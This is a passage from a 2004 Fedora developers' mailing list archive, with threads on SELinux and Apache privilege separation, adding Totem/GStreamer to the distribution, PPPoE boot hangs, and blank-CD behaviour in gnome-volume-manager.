<1097105063.4711.37.camel@ws.1sttier.net> <1097133615.2789.12.camel@laptop.fenrus.com> <1097154001.13339.24.camel@moss-spartans.epoch.ncsc.mil> <20041007142526.GC1411660@hiwaay.net> <20041007144403.GA1073@osiris.silug.org> <41655831.4040908@math.unl.edu> <20041007154910.GA27709@redhat.com> <20041007155727.GA12649@devserv.devel.redhat.com> <20041007164138.GB6445@redhat.com> <20041007165136.GA9811@devserv.devel.redhat.com> Message-ID: <20041007185820.GA6731@redhat.com> On Thu, Oct 07, 2004 at 12:51:36PM -0400, Alan Cox wrote: > On Thu, Oct 07, 2004 at 05:41:38PM +0100, Joe Orton wrote: > > > Your apache needs to have setfsuid rights, that is all > > > > Are you talking about capabilities or SELinux policy there? Does the > > capability bit not then allow children to setfsuid(0) and write files as > > root? > > You have control over how its inherited depending on whether you admit to > being capability aware or not. In the sane case you'd turn it off when > execing just as you make sure files all get closed. It's not CGI scripts which is the issue, the issue is whether or not an OpenSSL buffer overflow gives you remote root or just the privileges of the "apache" user as it currently does. joe From sds at epoch.ncsc.mil Thu Oct 7 18:56:03 2004 From: sds at epoch.ncsc.mil (Stephen Smalley) Date: Thu, 07 Oct 2004 14:56:03 -0400 Subject: SELinux should be off by default in FC3 In-Reply-To: <1972C54A-1892-11D9-8441-000D9352858E@linuxmail.org> References: <1097105063.4711.37.camel@ws.1sttier.net> <1097121989.4627.6.camel@nexus.verbum.private> <1097132840.5835.2.camel@proton.cygnusx-1.org> <1097153198.13339.10.camel@moss-spartans.epoch.ncsc.mil> <1097163690.9722.14.camel@ws.1sttier.net> <1097167220.3850.15.camel@dhollis-lnx.centricconsulting.com> <1972C54A-1892-11D9-8441-000D9352858E@linuxmail.org> Message-ID: <1097175363.13339.194.camel@moss-spartans.epoch.ncsc.mil> On Thu, 2004-10-07 at 14:52, Felipe Alfaro Solana wrote: > They are such different beasts: With DAC, permissions over resources > are managed by their owners (root or users). In a MAC-based system, a > policy governs how the system security behaves, and the policy is set > up by an administrator and obeyed by everyone. Right. Two other important differentiators between DAC and MAC beyond the issue of administratively-defined policy include: 2) Control over all processes and objects in the system (e.g. not just files), 3) Control based on all security-relevant information, not just user identity (e.g. role in which the user is acting, function and trustworthiness of the program, sensitivity/integrity of the data). DAC cannot protect against flawed or malicious programs. -- Stephen Smalley National Security Agency From alan at redhat.com Thu Oct 7 19:04:13 2004 From: alan at redhat.com (Alan Cox) Date: Thu, 7 Oct 2004 15:04:13 -0400 Subject: DAV In-Reply-To: <20041007185820.GA6731@redhat.com> References: <1097133615.2789.12.camel@laptop.fenrus.com> <1097154001.13339.24.camel@moss-spartans.epoch.ncsc.mil> <20041007142526.GC1411660@hiwaay.net> <20041007144403.GA1073@osiris.silug.org> <41655831.4040908@math.unl.edu> <20041007154910.GA27709@redhat.com> <20041007155727.GA12649@devserv.devel.redhat.com> <20041007164138.GB6445@redhat.com> <20041007165136.GA9811@devserv.devel.redhat.com> <20041007185820.GA6731@redhat.com> Message-ID: <20041007190413.GA31148@devserv.devel.redhat.com> On Thu, Oct 07, 2004 at 07:58:20PM +0100, Joe Orton wrote: > It's not CGI scripts which is the issue, the issue is whether or not an > OpenSSL buffer overflow gives you remote root or just the privileges of > the "apache" user as it currently does. That would be a problem yes. You'd end up with apache able to access any files in the system. I guess mod_webdav should never have been mod_ From walters at redhat.com Thu Oct 7 19:14:23 2004 From: walters at redhat.com (Colin Walters) Date: Thu, 07 Oct 2004 15:14:23 -0400 Subject: DAV In-Reply-To: <20041007190413.GA31148@devserv.devel.redhat.com> References: <1097133615.2789.12.camel@laptop.fenrus.com> <1097154001.13339.24.camel@moss-spartans.epoch.ncsc.mil> <20041007142526.GC1411660@hiwaay.net> <20041007144403.GA1073@osiris.silug.org> <41655831.4040908@math.unl.edu> <20041007154910.GA27709@redhat.com> <20041007155727.GA12649@devserv.devel.redhat.com> <20041007164138.GB6445@redhat.com> <20041007165136.GA9811@devserv.devel.redhat.com> <20041007185820.GA6731@redhat.com> <20041007190413.GA31148@devserv.devel.redhat.com> Message-ID: <1097176463.8543.57.camel@nexus.verbum.private> On Thu, 2004-10-07 at 15:04 -0400, Alan Cox wrote: > On Thu, Oct 07, 2004 at 07:58:20PM +0100, Joe Orton wrote: > > It's not CGI scripts which is the issue, the issue is whether or not an > > OpenSSL buffer overflow gives you remote root or just the privileges of > > the "apache" user as it currently does. > > That would be a problem yes. You'd end up with apache able to access any > files in the system. I guess mod_webdav should never have been mod_ Definitely agreed there. It should work like ssh+sftp, where ssh execs a helper program running under the user's uid. Doing things this way, in a separate process, also allows the SELinux policy to confine them separately. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From walters at redhat.com Thu Oct 7 20:14:22 2004 From: walters at redhat.com (Colin Walters) Date: Thu, 07 Oct 2004 16:14:22 -0400 Subject: Totem/GStreamer and Fedora In-Reply-To: <1097144718.3967.97.camel@greebo.homeip.net> References: <1097097007.2721.33.camel@tux.lan> <1097144718.3967.97.camel@greebo.homeip.net> Message-ID: <1097180062.8543.68.camel@nexus.verbum.private> On Thu, 2004-10-07 at 12:25 +0200, Alexander Larsson wrote: > I updated rawhide to the latest gstreamer and gstreamer-plugins (not > pushed yet) and built a package for totem. All required rpms are at: > > http://people.redhat.com/alexl/RPMS/totem/ > > Can people test this and see if it works well? I had a chance to play with this a bit. I think that for inclusion in Fedora, the primary basis for consideration should be performance on media that we support in Fedora. That means that available third-party support for e.g. Windows Media or RealVideo is interesting, but not important for inclusion. The main interesting video codec we ship is Theora, so I played with totem and some Theora videos, and compared it to HelixPlayer a bit. Totem seemed to work quite well on simple playback, going fullscreen, etc. The main thing that seemed a bit flaky was seeking. I got an error when seeking back to the beginning of a video, which I suspect is this bug: http://bugzilla.gnome.org/show_bug.cgi?id=150061 The a/v synchronization after seeking didn't seem quite as good as HelixPlayer's, but it was relatively minor, I certainly imagine it could be fixed. Overall it looks like Totem+GStreamer is shaping up to be a very good video player. Given its tight GNOME integration and basis on Fedora's current media framework, I think it's definitely worthy of inclusion in FC3. Since I happened to get all the other media packages, I'll take up maintaining it if no one objects. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From walters at redhat.com Thu Oct 7 20:27:44 2004 From: walters at redhat.com (Colin Walters) Date: Thu, 07 Oct 2004 16:27:44 -0400 Subject: Totem/GStreamer and Fedora In-Reply-To: <1097158641.3967.120.camel@greebo.homeip.net> References: <1097097007.2721.33.camel@tux.lan> <1097144718.3967.97.camel@greebo.homeip.net> <1097158641.3967.120.camel@greebo.homeip.net> Message-ID: <1097180865.8543.71.camel@nexus.verbum.private> On Thu, 2004-10-07 at 16:17 +0200, Alexander Larsson wrote: > There is some problems playing the stream at: > http://mirror.fluendo.com/cortado/ > Where totem (actually gnome-vfs) seems to hang. This is really a server- > side bug. Its responding with the whole stream as body to a HEAD or > PROPFIND request (instead of nothing), so gnome-vfs proceeds to download > the whole thing. Definitely a server bug, agreed - but couldn't gnome-vfs close the connection immediately after reading the headers from a HEAD or PROPFIND request, even if there is a content body? I've seen this too with Rhythmbox and some internet radio sites. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From walters at redhat.com Thu Oct 7 20:33:34 2004 From: walters at redhat.com (Colin Walters) Date: Thu, 07 Oct 2004 16:33:34 -0400 Subject: SELinux should be off by default in FC3 In-Reply-To: <20041007163602.GA6445@redhat.com> References: <1097105063.4711.37.camel@ws.1sttier.net> <1097133615.2789.12.camel@laptop.fenrus.com> <1097154001.13339.24.camel@moss-spartans.epoch.ncsc.mil> <20041007142526.GC1411660@hiwaay.net> <1097159279.13339.59.camel@moss-spartans.epoch.ncsc.mil> <6AA69375D6D857D85562F184@[10.169.6.246]> <20041007153028.GG1411660@hiwaay.net> <1097164330.8543.10.camel@nexus.verbum.private> <20041007163602.GA6445@redhat.com> Message-ID: <1097181214.8543.77.camel@nexus.verbum.private> On Thu, 2004-10-07 at 17:36 +0100, Joe Orton wrote: > That's surely not the whole story if SELinux is on by default and Apache > is covered by the targetted policy. The fact seems to be that you have > to know and understand SELinux to be able to do the normal things you do > with Apache, e.g. write CGI scripts, or change httpd.conf. Following up on this a bit - it would be possible to weaken the Apache policy so that there are not separate types for user versus system content, or CGI script executables versus CGI data. You'd just have a single type, httpd_content_t. Then an administrator wouldn't have to know how to run chcon to relabel executable CGI scripts or mark data as readonly by the CGI script. However, you lose a number of advantages of the normal Apache policy, such as compromised (or misconfigured) CGI scripts not being able to delete your entire website. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From kyrre at solution-forge.net Thu Oct 7 20:40:14 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Thu, 07 Oct 2004 22:40:14 +0200 Subject: Telnet doesn't work in FC3test2 In-Reply-To: <1097088190.3227.26.camel@localhost.localdomain> References: <1097088190.3227.26.camel@localhost.localdomain> Message-ID: <1097181614.2735.4.camel@kyrre> Another anoyance is that you now have to put options nodots (or something like it) in resolv to get those local machine names resolved from (ex) dnsmasq... ons, 06.10.2004 kl. 20.43 skrev RAT: > Does anyone experienced the same problem as I did. I was using telnet > for connecting to some machine but now in FC3t2 I always get this > > telnet kosh > Trying 130.#.#.#... > telnet: connect to address 130.#.#.#: Connection timed out > telnet: Unable to connect to remote host: Connection timed out > > Where's the problem? Is it somehow related to SELinux? > > (ssh to another machime still works) > > RAT From alexl at redhat.com Thu Oct 7 21:04:53 2004 From: alexl at redhat.com (Alexander Larsson) Date: Thu, 07 Oct 2004 23:04:53 +0200 Subject: Totem/GStreamer and Fedora In-Reply-To: <1097180865.8543.71.camel@nexus.verbum.private> References: <1097097007.2721.33.camel@tux.lan> <1097144718.3967.97.camel@greebo.homeip.net> <1097158641.3967.120.camel@greebo.homeip.net> <1097180865.8543.71.camel@nexus.verbum.private> Message-ID: <1097183093.3967.131.camel@greebo.homeip.net> On Thu, 2004-10-07 at 16:27 -0400, Colin Walters wrote: > On Thu, 2004-10-07 at 16:17 +0200, Alexander Larsson wrote: > > > There is some problems playing the stream at: > > http://mirror.fluendo.com/cortado/ > > Where totem (actually gnome-vfs) seems to hang. This is really a server- > > side bug. Its responding with the whole stream as body to a HEAD or > > PROPFIND request (instead of nothing), so gnome-vfs proceeds to download > > the whole thing. > > Definitely a server bug, agreed - but couldn't gnome-vfs close the > connection immediately after reading the headers from a HEAD or PROPFIND > request, even if there is a content body? > > I've seen this too with Rhythmbox and some internet radio sites. It returned 200 OK for the PROPFIND, and then started feeding the full stream instead of the xml result of a propfind. How should gnome-vfs know when to stop? I mean, it could do incremental xml parsing and stop at the first parse error. But thats a lot more complicated. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Alexander Larsson Red Hat, Inc alexl at redhat.com alla at lysator.liu.se He's a benighted neurotic filmmaker from the 'hood. She's an elegant French-Canadian bounty hunter from aristocratic European stock. They fight crime! From linux_4ever at yahoo.com Thu Oct 7 20:06:54 2004 From: linux_4ever at yahoo.com (Steve G) Date: Thu, 7 Oct 2004 13:06:54 -0700 (PDT) Subject: SELinux should be off by default in FC3 In-Reply-To: <1097169825.9067.23.camel@support02.civic.twp.ypsilanti.mi.us> Message-ID: <20041007200654.8108.qmail@web50609.mail.yahoo.com> >Design the exposed UI for the end users of the system. Don't just >expose the raw UI that developers understand. And the config files are >definitely UI. I'd say that new ways to configure it will evolve out of the current environment. Remember when IPTables first came out? You had to be a network guru and write your own script. Now you can choose between many programs that let you configure iptables. For example, shorewall or firewall builder. I think over time (and as the needs are made clearer) better tools will be created out of necessity or simply seeing a better way. This is really what's missing...a healthy set of competing utilities and policy writing tools. I've been toying with doing something along the lines of firewall builder in my spare time. Gotta clear a back-log of projects first, though. -Steve Grubb _______________________________ Do you Yahoo!? Declare Yourself - Register online to vote today! http://vote.yahoo.com From notting at redhat.com Thu Oct 7 21:12:21 2004 From: notting at redhat.com (Bill Nottingham) Date: Thu, 7 Oct 2004 17:12:21 -0400 Subject: Totem/GStreamer and Fedora In-Reply-To: <1097097007.2721.33.camel@tux.lan> References: <1097097007.2721.33.camel@tux.lan> Message-ID: <20041007211220.GC16127@nostromo.devel.redhat.com> Ronald S. Bultje (rbultje at ronald.bitfreak.net) said: > How would you guys feel about including this in Fedora Core? It would > add a missing piece to the desktop. We're also considering to propose > Totem for inclusion in GNOME 2.10. Given the strong community interest displayed here, it seems like a good thing to add. Should be in rawhide tomorrow. Bill From seyman at wanadoo.fr Thu Oct 7 21:10:48 2004 From: seyman at wanadoo.fr (Emmanuel Seyman) Date: Thu, 7 Oct 2004 23:10:48 +0200 Subject: please update all package to the same db4 version In-Reply-To: <41654C35.8030100@bppiac.hu> References: <41654C35.8030100@bppiac.hu> Message-ID: <20041007211047.GA9760@orient.maison.moi> On Thu, Oct 07, 2004 at 04:01:25PM +0200, Farkas Levente wrote: > > it's be useful to update all packages to the same db4 version (eg: > openldap, nss_ldap still use 4.0.14, etc..). i try to fill a bugzilla > entry but it seems noone cares about it. Doesn't openldap come with its own version of db4 ? The tarball was part of the .src.rpm last time I checked. Emmanuel From alan at redhat.com Thu Oct 7 21:17:08 2004 From: alan at redhat.com (Alan Cox) Date: Thu, 7 Oct 2004 17:17:08 -0400 Subject: Totem/GStreamer and Fedora In-Reply-To: <1097183093.3967.131.camel@greebo.homeip.net> References: <1097097007.2721.33.camel@tux.lan> <1097144718.3967.97.camel@greebo.homeip.net> <1097158641.3967.120.camel@greebo.homeip.net> <1097180865.8543.71.camel@nexus.verbum.private> <1097183093.3967.131.camel@greebo.homeip.net> Message-ID: <20041007211708.GA14490@devserv.devel.redhat.com> On Thu, Oct 07, 2004 at 11:04:53PM +0200, Alexander Larsson wrote: > It returned 200 OK for the PROPFIND, and then started feeding the full > stream instead of the xml result of a propfind. How should gnome-vfs > know when to stop? I mean, it could do incremental xml parsing and stop > at the first parse error. But thats a lot more complicated. I would assume gnome-vfs2 would abort at some point it decided it was under attack, especially if it stores the entire content in memory. From dwmw2 at infradead.org Thu Oct 7 21:53:58 2004 From: dwmw2 at infradead.org (David Woodhouse) Date: Thu, 07 Oct 2004 22:53:58 +0100 Subject: rp-pppoe/initscripts/broken PPPoE annoyance In-Reply-To: <20041007183140.GA19491@ee.oulu.fi> References: <20041007183140.GA19491@ee.oulu.fi> Message-ID: <1097186038.6525.9.camel@baythorne.infradead.org> On Thu, 2004-10-07 at 21:31 +0300, Pekka Pietikainen wrote: > Hiya > > I'm wondering if I'm the only one annoyed by rp-pppoe (#134923)/udev > (#131114)/whatnot bug of the day/provider flakyness that makes the system > get stuck on boot while trying to get PPPoE up. (sysrq kill-everything or > booting in interactive mode and skipping networking fortunately gets around > this so whatever was the problem can be repaired) > > What's especially evil is that this happens before syslogd is up -> > no useful debug output on the console. > > Not sure what the proper solution would be or whether this even is a bug > (the bugs that have triggered this behaviour for me are fixed, sure). > > A simple workaround is just using ONBOOT=no and putting "ifup > &" in rc.local. Other options would be to have an option for > ifuping interfaces in the background (some distros apparently do this), > another to change adsl-start to try a few times and if it still fails > either give up or continue trying in the backgruond. > > Comments? I use demand mode. It creates the interface, gives the local IP address so d?mons can bind to it immediately, and gets on with booting. When the DSL modem has finished synchronising and the line comes up, it eventually starts actually passing traffic. It seems to work flawlessly for me. I assume you're not using demand mode, and that it makes you wait while it brings up the interface? If you _want_ it to happen in the background though, and you don't actually need it up instantly (for stuff like ntpdate) then surely you should be? I think I'm going to implement a 'permanent demand' mode for pppd which works like demand mode but it _always_ assumes there's a demand. I have to be careful though because I already sent Paulus the pppoatm stuff, and I also want to implement an 'ifname' option so we can rename the 'ppp0' netdevice to match the pretty device name. If I send too many patches in quick succession I may end up lumbered with maintenance :) -- dwmw2 From jorton at redhat.com Thu Oct 7 22:03:53 2004 From: jorton at redhat.com (Joe Orton) Date: Thu, 7 Oct 2004 23:03:53 +0100 Subject: DAV In-Reply-To: <1097176463.8543.57.camel@nexus.verbum.private> References: <20041007142526.GC1411660@hiwaay.net> <20041007144403.GA1073@osiris.silug.org> <41655831.4040908@math.unl.edu> <20041007154910.GA27709@redhat.com> <20041007155727.GA12649@devserv.devel.redhat.com> <20041007164138.GB6445@redhat.com> <20041007165136.GA9811@devserv.devel.redhat.com> <20041007185820.GA6731@redhat.com> <20041007190413.GA31148@devserv.devel.redhat.com> <1097176463.8543.57.camel@nexus.verbum.private> Message-ID: <20041007220353.GA6935@redhat.com> On Thu, Oct 07, 2004 at 03:14:23PM -0400, Colin Walters wrote: > On Thu, 2004-10-07 at 15:04 -0400, Alan Cox wrote: > > On Thu, Oct 07, 2004 at 07:58:20PM +0100, Joe Orton wrote: > > > It's not CGI scripts which is the issue, the issue is whether or not an > > > OpenSSL buffer overflow gives you remote root or just the privileges of > > > the "apache" user as it currently does. > > > > That would be a problem yes. You'd end up with apache able to access any > > files in the system. I guess mod_webdav should never have been mod_ > > Definitely agreed there. It should work like ssh+sftp, where ssh execs > a helper program running under the user's uid. Doing things this way, > in a separate process, also allows the SELinux policy to confine them > separately. I don't see how this makes sense with HTTP. The code with the buffer overflows is the HTTP parsing and SSL handling. THat's also the code which you must trust to determine what "user context" a request might be for. joe From mwiktowy at gmx.net Thu Oct 7 22:15:13 2004 From: mwiktowy at gmx.net (Michael Wiktowy) Date: Thu, 07 Oct 2004 18:15:13 -0400 Subject: gnome-volume-manager blank CD defaults In-Reply-To: <20041007170318.B06D473822@hormel.redhat.com> References: <20041007170318.B06D473822@hormel.redhat.com> Message-ID: <1097187313.3494.25.camel@localhost> > Date: Thu, 07 Oct 2004 12:02:57 -0400 > From: "John (J5) Palmieri" > Subject: gnome-volume-manager blank CD defaults > To: Development discussions related to Fedora Core > > Message-ID: <1097164977.22577.6.camel at remedyz.boston.redhat.com> > Content-Type: text/plain > > I wanted to get the Fedora communities opinion on popping up a burn:// > folder when a blank CD is inserted into the drive. Right now we pop it > up which makes sense because if you pop in a blank CD most likely you > want to burn to it. Problems come in when a user is using browser mode > in Nautilus. If you pop the CD in and out a couple of times you get a > bunch of burn:// folders. Since you get a CD icon on the desktop which > you can double click to open up the burn:// folder I am wondering if I > should turn this off by default. I am of no opinion either way so I > want to see how everyone else feels. > > -- > John (J5) Palmieri > Associate Software Engineer > Desktop Group > Red Hat, Inc. > Blog: http://martianrock.com My Opinion since you asked for it: One of my major annoyances is things that pop up obtrusively. I think that a default option should be as intuitive and non-intrusive as possible while still guiding the user to the proper solution. With that in mind, I would say that the icon appearing on the desktop with some descriptive title that it is a blank CD and what drive it is in (realizing that some have multiple burners on their systems) would be adequate. Right clicking should give you the option to burn it with your choice of installed burners. Double-clicking on it should activate the default burning software which would be burn://. I would do this for audio CD also. i.e. Treat removable media as kind of a pseudo mime-type in nautilus. If people want to automagically start up things then they can have that option in the preferences. But this is a semi-automatic solution that will avoid all the familiar and annoying problems like: - Burning with an app that asks you to enter a blank CD and then having another app start up in the middle of the burn. You don't *always* start a burn by sticking in a blank CD. - Opening up the default burning software while you already have another one open in preparation for burning. While all software *should* be written to block access via hal, forcing that feature on all CD burning apps just so the default doesn't screw up is not entirely fair ... especially if they are also included in Fedora (past and present since supposedly upgrading Fedora between major releases is something that is "supported"). Just my opinion. /Mike From liblit at cs.berkeley.edu Thu Oct 7 22:21:25 2004 From: liblit at cs.berkeley.edu (Ben Liblit) Date: Thu, 07 Oct 2004 15:21:25 -0700 Subject: Cooperative Bug Isolation project on Fedora Core 2 & 1 In-Reply-To: <1097103005.25022.2.camel@walk.straycat.hackunix.org> References: <41632D0E.2070101@cs.berkeley.edu> <1097040875.4212.10.camel@marte.biciclete.ro> <41638AAC.6080804@cs.berkeley.edu> <1097055860.9175.24.camel@marte.biciclete.ro> <1097103005.25022.2.camel@walk.straycat.hackunix.org> Message-ID: <4165C165.1090809@cs.berkeley.edu> Marius Andreiana wrote: > is this possible? at least for a some desktop packages. Derek P. Moore wrote: > I second the motion. Well I'm certainly game. More users means more data means more dead bugs. But we need buy-in from Red Hat / Fedora insiders, because at the end of the day they post the binaries. How about it, Fedora folks? From pp at ee.oulu.fi Thu Oct 7 22:42:11 2004 From: pp at ee.oulu.fi (Pekka Pietikainen) Date: Fri, 8 Oct 2004 01:42:11 +0300 Subject: rp-pppoe/initscripts/broken PPPoE annoyance In-Reply-To: <1097186038.6525.9.camel@baythorne.infradead.org> References: <20041007183140.GA19491@ee.oulu.fi> <1097186038.6525.9.camel@baythorne.infradead.org> Message-ID: <20041007224211.GA23029@ee.oulu.fi> On Thu, Oct 07, 2004 at 10:53:58PM +0100, David Woodhouse wrote: > I assume you're not using demand mode, and that it makes you wait while > it brings up the interface? If you _want_ it to happen in the background > though, and you don't actually need it up instantly (for stuff like > ntpdate) then surely you should be? > > I think I'm going to implement a 'permanent demand' mode for pppd which > works like demand mode but it _always_ assumes there's a demand. I have > to be careful though because I already sent Paulus the pppoatm stuff, Ah excellent... Demand dialing has a modem/isdn connotation so I didn't think I'd want to use it. I tried rp-pppoe-3.5-21 and ppp-2.4.2-6.3 + demand (current rawhide ones didn't work) and it's just about the way I want it to be now. Seems to give up permanently if the network isn't up on the first try though, if it drops afterwards it does recover nicely. -- Pekka Pietikainen From alan at redhat.com Thu Oct 7 22:51:21 2004 From: alan at redhat.com (Alan Cox) Date: Thu, 7 Oct 2004 18:51:21 -0400 Subject: DAV In-Reply-To: <20041007220353.GA6935@redhat.com> References: <20041007144403.GA1073@osiris.silug.org> <41655831.4040908@math.unl.edu> <20041007154910.GA27709@redhat.com> <20041007155727.GA12649@devserv.devel.redhat.com> <20041007164138.GB6445@redhat.com> <20041007165136.GA9811@devserv.devel.redhat.com> <20041007185820.GA6731@redhat.com> <20041007190413.GA31148@devserv.devel.redhat.com> <1097176463.8543.57.camel@nexus.verbum.private> <20041007220353.GA6935@redhat.com> Message-ID: <20041007225121.GB27514@devserv.devel.redhat.com> On Thu, Oct 07, 2004 at 11:03:53PM +0100, Joe Orton wrote: > I don't see how this makes sense with HTTP. The code with the buffer > overflows is the HTTP parsing and SSL handling. THat's also the code > which you must trust to determine what "user context" a request might be A samba like httpd would take the first request running as a non-user with just some basic auth rights and if neccessary start a server as that user via a priviledged single purpose helper. It would then hand the socket to that process (or could use http redirects except some DAV clients shit themselves when this occurs) Architecture is easy here, code is another matter ! From jonathansavage at gmail.com Thu Oct 7 23:32:15 2004 From: jonathansavage at gmail.com (Jon Savage) Date: Thu, 7 Oct 2004 16:32:15 -0700 Subject: gnome-volume-manager blank CD defaults In-Reply-To: <1097187313.3494.25.camel@localhost> References: <20041007170318.B06D473822@hormel.redhat.com> <1097187313.3494.25.camel@localhost> Message-ID: <2ad7cea1041007163242696d42@mail.gmail.com> > > I wanted to get the Fedora communities opinion on popping up a burn:// > > folder when a blank CD is inserted into the drive. Right now we pop it > > up which makes sense because if you pop in a blank CD most likely you > > want to burn to it. Problems come in when a user is using browser mode > > in Nautilus. If you pop the CD in and out a couple of times you get a > > bunch of burn:// folders. Since you get a CD icon on the desktop which > > you can double click to open up the burn:// folder I am wondering if I > > should turn this off by default. I am of no opinion either way so I > > want to see how everyone else feels. I hate that behavior. It is OK as a user configurable *option* but makes for a poor default IMHO since more often than not I'm inserting a blank cd intending to burn something using my app of choice & have to wait for the silly burn:// folder to come up, The other times I'm inserting a blank CD because I want to back something up *later*. In either case the current default bites(tm). I just turned it off. Sorta reminds me of XPs deal of wanting to autolaunch apps / file browsers / whatever when media (blank or otherwise) is inserted. yrrgh. YMMV :). Bests Jon From jspaleta at gmail.com Fri Oct 8 00:38:54 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Thu, 7 Oct 2004 20:38:54 -0400 Subject: gnome-volume-manager blank CD defaults In-Reply-To: <2ad7cea1041007163242696d42@mail.gmail.com> References: <20041007170318.B06D473822@hormel.redhat.com> <1097187313.3494.25.camel@localhost> <2ad7cea1041007163242696d42@mail.gmail.com> Message-ID: <604aa79104100717385c350814@mail.gmail.com> On Thu, 7 Oct 2004 16:32:15 -0700, Jon Savage wrote: > I hate that behavior. It is OK as a user configurable *option* but > makes for a poor default IMHO since more often than not I'm inserting > a blank cd intending to burn something using my app of choice & have > to wait for the silly burn:// folder to come up, Now see here's the problem... you have an application of choice... you know what you want. I'm not really sure defaults are meant to primarily address the needs of users who know which applications they prefer. You have a preference, the preference dialogs are there for you to use to set your preference. For users, who do not have a preference already, the defaults need to present reasonable sane and intutive behavior. Users who do not have a preference, are not informed enough to use the preference dialog to customizes their environment, the defaults need to provide reasonable functionality without demanding users to make a choice or state a preference. A poor default for me, as a competent, well informed and technically inclined power user with years of linux experience could easily be the best, most sane and intuitive default for an inexperienced user who is unfamiliar with specific linux applications. I know enough to reconfigure my system better for my needs, and my knowledge empowers me to use the tools at hand to mold the environment to my will. It's an absolutely trivial burden for me to go to the preference dialog and turn off the automounting/autobrowsing features of the volume management and I'm sure its an absolutely trivial burden for you as well. If having automounting and autobrowsing of media on by default makes the system more approachable and easier to work with for a new user and empowers them to use the system more fully and more often, I'm all for it even though i have absolutely no desire to ever use that feature for myself. -jef From johnp at redhat.com Fri Oct 8 02:17:09 2004 From: johnp at redhat.com (John (J5) Palmieri) Date: Thu, 07 Oct 2004 22:17:09 -0400 Subject: gnome-volume-manager blank CD defaults In-Reply-To: <1097187313.3494.25.camel@localhost> References: <20041007170318.B06D473822@hormel.redhat.com> <1097187313.3494.25.camel@localhost> Message-ID: <1097201799.22130.74.camel@localhost.localdomain> On Thu, 2004-10-07 at 18:15, Michael Wiktowy wrote: > > Date: Thu, 07 Oct 2004 12:02:57 -0400 > > From: "John (J5) Palmieri" > > Subject: gnome-volume-manager blank CD defaults > > To: Development discussions related to Fedora Core > > > > Message-ID: <1097164977.22577.6.camel at remedyz.boston.redhat.com> > > Content-Type: text/plain > > > > I wanted to get the Fedora communities opinion on popping up a burn:// > > folder when a blank CD is inserted into the drive. Right now we pop it > > up which makes sense because if you pop in a blank CD most likely you > > want to burn to it. Problems come in when a user is using browser mode > > in Nautilus. If you pop the CD in and out a couple of times you get a > > bunch of burn:// folders. Since you get a CD icon on the desktop which > > you can double click to open up the burn:// folder I am wondering if I > > should turn this off by default. I am of no opinion either way so I > > want to see how everyone else feels. > > > > -- > > John (J5) Palmieri > > Associate Software Engineer > > Desktop Group > > Red Hat, Inc. > > Blog: http://martianrock.com > > My Opinion since you asked for it: > One of my major annoyances is things that pop up obtrusively. Ok well this should be fixed once we have some sort of notification system that is informative yet non-intrusive so I am not so worried about this since you can turn it off. Defaults aren't whats least annoying to experienced users, they are about what is most convenient for new users. > I think > that a default option should be as intuitive and non-intrusive as > possible while still guiding the user to the proper solution. That is the goal but I would take intuitive before non-intrusive. > With that in mind, I would say that the icon appearing on the desktop > with some descriptive title that it is a blank CD and what drive it is > in (realizing that some have multiple burners on their systems) would be > adequate. The problem with this is the desktop is often obscured and a new user would have to find where the icon popped up so it is not extremely intuitive. Once a user understands about dynamic icons then it becomes more intuitive. > Right clicking should give you the option to burn it with your choice of > installed burners. This I don't understand. > Double-clicking on it should activate the default burning software which > would be burn://. This is already what it does. > I would do this for audio CD also. There is no question about audio CD defaults. For those the right thing is to start an CD player. It is the same thing that happens when you pop a CD into your stereo. > i.e. Treat removable media as kind of a pseudo mime-type in nautilus. Removable media works fine in Nautilus. They pop up as icons and you can launch them. By default they also pop up windows which makes sense. The reason I special case CD burning is because of some of the problems associated with it, though I have yet to hear any compelling argument for removing it. As I said when I started this thread I really don't care either way but there have been compelling points for leaving it in so I am leaning that way right now. If you want to convince me you need to come from the point of a new user who just wants things to work out of the box. Any experienced user can configure the desktop to how they like it. I want to make sure it is usable to those who just want to use the desktop. > If people want to automagically start up things then they can have that > option in the preferences. And if people don't want to automagically start things up now, then they already have that option in the preferences. > But this is a semi-automatic solution that > will avoid all the familiar and annoying problems like: There is no semi-automatic solution. Its either on or off. The rest of the desktop will function the same way. > - Burning with an app that asks you to enter a blank CD and then having > another app start up in the middle of the burn. You don't *always* start > a burn by sticking in a blank CD. This is a problem with a solution. > - Opening up the default burning software while you already have another > one open in preparation for burning. While all software *should* be > written to block access via hal, forcing that feature on all CD burning > apps just so the default doesn't screw up is not entirely fair ... It is perfectly fair. If we want an integrated desktop with components that work well together HAL and DBUS will get us there but that is another story. > especially if they are also included in Fedora (past and present since > supposedly upgrading Fedora between major releases is something that is > "supported"). I don't get the reference to upgrading. Yes we should add the functionality to all CD burning apps in FC though I am not sure that will happen this time around. > Just my opinion. Thank you. -- J5 From yusufg at outblaze.com Fri Oct 8 03:05:02 2004 From: yusufg at outblaze.com (Yusuf Goolamabbas) Date: Fri, 8 Oct 2004 11:05:02 +0800 Subject: sqlite? In-Reply-To: <1097095851.14591.14.camel@serpentine.internal.keyresearch.com> References: <1097095851.14591.14.camel@serpentine.internal.keyresearch.com> Message-ID: <20041008030502.GA17336@outblaze.com> > On Wed, 2004-10-06 at 07:58 -0400, Neal D. Becker wrote: > > > I think it would be a good addition to fedora. > > A big problem with it is that it is thoroughly and utterly 32-bit only. > I looked into porting it to non-x86 and non-32bit systems, and it would > be a whole lot of work. Can you clarify what 'utterly 32bit only means'. Does it mean can't adress >2GB files ? Apple on 64bit-PPC is shipping sqlite alongwith its Tiger release next year Mozilla/Firefox/Thunderbird are moving to using sqlite as their storage subsystems and they run on non x86 and 64bit systems https://bugzilla.mozilla.org/show_bug.cgi?id=261861 From feliciano.matias at free.fr Fri Oct 8 05:43:01 2004 From: feliciano.matias at free.fr (Matias 